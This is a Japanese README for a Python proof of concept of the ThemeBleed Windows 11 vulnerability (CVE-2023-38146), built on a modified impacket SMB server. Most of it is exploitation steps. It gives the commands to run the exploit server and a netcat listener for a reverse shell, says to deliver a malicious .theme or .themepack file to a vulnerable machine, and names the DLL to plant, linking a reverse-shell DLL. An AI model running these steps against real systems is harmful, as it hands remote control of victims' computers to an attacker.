
impacket を使用して python で書かれた、ThemeBleed Windows 11 CVE-2023-38146 の PoC。 https://jnns.de/posts/cve-2023-38146-poc/
https://github.com/gabe-k/themebleed に大きく影響を受けています。元のツールは Windows でのみ動作するため、この PoC を書くことにしました。
impacket の smbserver.py の改変コードを使用しています (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
ブログ記事: https://jnns.de/posts/cve-2023-38146-poc/
必要なパッケージをインストールして、アプリケーションを実行します:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
脆弱なマシン上で "evil_theme.theme" または "evil_theme.themepack" を使用してください。
成功!
エクスポートされた関数 "VerifyThemeVersion" を含む DLL を "./td/" フォルダ内に "Aero.msstyles_vrf_evil.dll" という名前で配置してください。Google で検索すればサンプル DLL が見つかるはずです。または私のサンプル https://github.com/Jnnshschl/ThemeBleedReverseShellDLL を使用してください。
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711